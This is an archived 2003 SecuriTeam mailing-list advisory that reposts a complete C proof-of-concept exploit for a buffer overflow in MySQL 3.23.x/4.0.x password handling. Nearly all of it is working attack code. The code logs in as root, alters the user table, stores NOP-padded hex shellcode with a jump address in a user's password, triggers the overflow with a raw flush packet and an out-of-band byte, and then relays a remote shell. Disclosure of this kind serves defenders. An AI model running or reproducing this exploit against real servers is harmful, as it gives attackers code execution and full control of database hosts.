

[EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-09/0037.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/15/03

To: list@securiteam.com

Date: 15 Sep 2003 15:40:30 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Buffer Overflow in MySQL (PASSWORD, Exploit)

SUMMARY

As we reported in our previous article:

<<http://www.securiteam.com/unixfocus/5MPOC0AB5Q.html>> Buffer Overflow in MySQL (PASSWORD), a vulnerability in MySQL allows users that are able to change their password to cause it to overflow an internal buffer while causing it to execute arbitrary code. The following exploit code can be used to test your system for the vulnerability.

DETAILS

Exploit:

```
/* Mysql 3.23.x/4.0.x remote exploit
```

```
* proof of concept
```

```
* using jmp *eax
```

```
* bkbll (bkbll cnhonker.net,bkbll tom.com) 2003/09/12
```

```
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
```

```
* DO NOT DISTRUBITED IT
```

```
*/
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

```
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/select.h>
#include <netdb.h>
#include <mysql/mysql.h>

#define PAD 19*4*2
#define JMPADDR 0x42125b2b
#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALT_COLUMNSQL "ALTER TABLE user CHANGE COLUMN Password Password
LONGTEXT"
#define LIST_USERS_SQL "SELECT user FROM mysql.user WHERE user!='root' OR
user='root' LIMIT 1,1"
#define FLUSH_SQL
"\x11\x00\x00\x00\x03\x66\x6c\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6c\x65\x67\x65\x73"
#define BUF 1024

MYSQL *conn;
char NOP[]="90";
/*
char shellcode[]=
"31c031db31c9b002"
"cd8085c0751b4b31"
"d2b007cd8031c0b0"
"40cd8089c331c9b1"
"09b025cd80b001cd"
"80b017cd8031c050"
"405089e331c9b0a2"
"cd80b1e089c883e8"
"0af7d04089c731c0"
"404c89e250505257"
"518d4c240431dbb3"
"0ab066cd805983f8"
"017505803a497409"
"e2d231c04089c3cd"
"8089fbb103b03f49"
"cd8041e2f851686e"
"2f7368682f2f6269"
"89e351682d696c70"
"89e251525389e131"
"d231c0b00bcd8090";
*/
char shellcode[]=
"db31c03102b0c931"
"c08580cd314b1b74"
"cd07b0d2b0c03180"
"8980cd40b1c931c3"
```

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

```
"cd25b009cd01b080"  
"cd17b08050c03180"  
"e3895040a2b0c931"  
"e0b180cde883c889"  
"40d0f70ac031c789"  
"e2894c4057525050"  
"244c8d51b3db3104"  
"cd66b00af8835980"  
"800575010974493a"  
"c031d2e2cdc38940"  
"b1fb8980493fb003"  
"e24180cd6e6851f8"  
"6868732f69622f2f"  
"6851e389706c692d"  
"5251e28931e18953"  
"b0c031d29080cd0b";
```

```
int type=1;
```

```
struct
```

```
{  
  char *os;  
  u_long ret;  
} targets[] =  
{  
  { "glibc-2.2.93-5", 0x42125b2b },  
},v;
```

```
void usage(char *);
```

```
void sqlerror(char *);
```

```
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char  
*dbname);
```

```
main(int argc,char **argv)
```

```
{  
  MYSQL_RES *result;  
  MYSQL_ROW row;  
  char jmpaddress[8];  
  char buffer[BUF],muser[20],buf2[800];  
  my_ulonglong rslines;  
  struct sockaddr_in clisocket;  
  int i=0,j,clifd,count,a;  
  char data1,c;  
  fd_set fds;  
  char *server=NULL,*rootpass=NULL;  
  
  if(argc<3) usage(argv[0]);  
  while((c = getopt(argc, argv, "d:t:p:"))!= EOF)  
  {  
    switch (c)  
    {  
      case 'd':
```

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

```
server=optarg;
break;
case 't':
    type = atoi(optarg);
    if((type > sizeof(targets)/sizeof(v)) || (type < 1))
        usage(argv[0]);
    break;
case 'p':
    rootpass=optarg;
    break;
default:
    usage(argv[0]);
    return 1;
}
}
if(server==NULL || rootpass==NULL)
    usage(argv[0]);
memset(muser,0,20);
memset(buf2,0,800);
printf("@-----@\\n");
printf("# Mysql 3.23.x/4.0.x remote exploit(2003/09/12) #\\n");
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\\n");
printf("-----\\n");
printf("[+] Connecting to mysql server %s:%d....",server,PORT);
fflush(stdout);
conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
if(conn==NULL) exit(0);
printf("ok\\n");
printf("[+] ALTER user column...");
fflush(stdout);
if(mysql_real_query(conn,ALTCOLUMNSQL,strlen(ALTCOLUMNSQL))!=0)
    sqlerror("ALTER user table failed");
//select
printf("ok\\n");
printf("[+] Select a valid user...");
fflush(stdout);
if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0)
    sqlerror("select user from table failed");
printf("ok\\n");
result=mysql_store_result(conn);
if(result==NULL)
    sqlerror("store result error");
rslines=mysql_num_rows(result);
if(rslines==0)
    sqlerror("store result error");
row=mysql_fetch_row(result);
snprintf(muser,19,"%s",row[0]);
printf("[+] Found a user:%s\\n",muser);
memset(buffer,0,BUF);
i=sprintf(buffer,"update user set password=");
sprintf(jmpaddress,"%x",JMPADDR);
```

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

```
jmpaddress[8]=0;
for(j=0;j<PAD-4;j+=2)
{
    memcpy(buf2+j,NOP,2);
}
memcpy(buf2+j,"06eb",4);
memcpy(buf2+PAD,jmpaddress,8);
memcpy(buf2+PAD+8,shellcode,strlen(shellcode));
j=strlen(buf2);
if(j%8)
{
    j=j/8+1;
    count=j*8-strlen(buf2);
    memset(buf2+strlen(buf2),'A',count);
}
printf("[+] Password length:%d\n",strlen(buf2));
memcpy(buffer+i,buf2,strlen(buf2));
i+=strlen(buf2);
i+=sprintf(buffer+i," where user='%s'",muser);
mysql_free_result(result);
printf("[+] Modified password...");
fflush(stdout);
//get result
//write(2,buffer,i);
if(mysql_real_query(conn,buffer,i)!=0)
    sqlerror("Modified password error");
//here I'll find client socket fd
printf("ok\n");
printf("[+] Finding client socket.....");
j=sizeof(clisocket);
for(clifd=3;clifd<256;clifd++)
{
    if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1)
continue;
    if(clisocket.sin_port==htons(PORT)) break;
}
if(clifd==256)
{
    printf("FAILED\n[-] Cannot find client socket\n");
    mysql_close(conn);
    exit(0);
}
data1='T';
printf("ok\n");
printf("[+] sockfd:%d\n",clifd);
//let server overflow
printf("[+] Overflow server....");
fflush(stdout);
send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0);
//if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0)
// sqlerror("Flush error");
```

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

```
printf("ok\n");
printf("[+] sending OOB.....");
fflush(stdout);
if(send(clifd,&data1,1,MSG_OOB)<1)
{
    perror("error");
    mysql_close(conn);
    exit(0);
}
printf("ok\r\n");
printf("[+] Waiting a shell.....");
fflush(stdout);
j=0;
memset(buffer,0,BUF);
while(1)
{
    FD_ZERO(&fds);
    FD_SET(0, &fds);
    FD_SET(clifd, &fds);

    if (select(clifd+1, &fds, NULL, NULL, NULL) < 0)
    {
        if (errno == EINTR) continue;
        break;
    }
    if (FD_ISSET(0, &fds))
    {
        count = read(0, buffer, BUF);
        if (count <= 0) break;
        if (write(clifd, buffer, count) <= 0) break;
        memset(buffer,0,BUF);
    }
    if (FD_ISSET(clifd, &fds))
    {
        count = read(clifd, buffer, BUF);
        if (count <= 0) break;
        if(j==0) printf("Ok\n");
        j=1;
        if (write(1, buffer, count) <= 0) break;
        memset(buffer,0,BUF);
    }
}
}

void usage(char *s)
{
    int a;
    printf("@-----@");
    printf("# MySQL 3.23.x/4.0.x remote exploit(2003/09/12) #\n");
    printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
}
```

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

```
printf("-----\n");
printf("Usage:%s -d <host> -p <root_pass> -t <type>\n",s);
printf(" -d target host ip/name\n");
printf(" -p 'root' user paasword\n");
printf(" -t type [default:%d]\n",type);
printf("-----\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
    printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
printf("\n");
exit(0);
}
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
{
    MYSQL *connect;
    connect=mysql_init(NULL);
    if(connect==NULL)
    {
        printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
        return NULL;
    }

    if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
    {
        printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
        return NULL;
    }
    return connect;
}
void sqlerror(char *s)
{
    fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
    mysql_close(conn);
    exit(0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:bkbll@cnhonker.net>> bkbll.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

Securiteam: [EXPL] Buffer Overflow in MySQL (PASSWORD, Exploit)

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.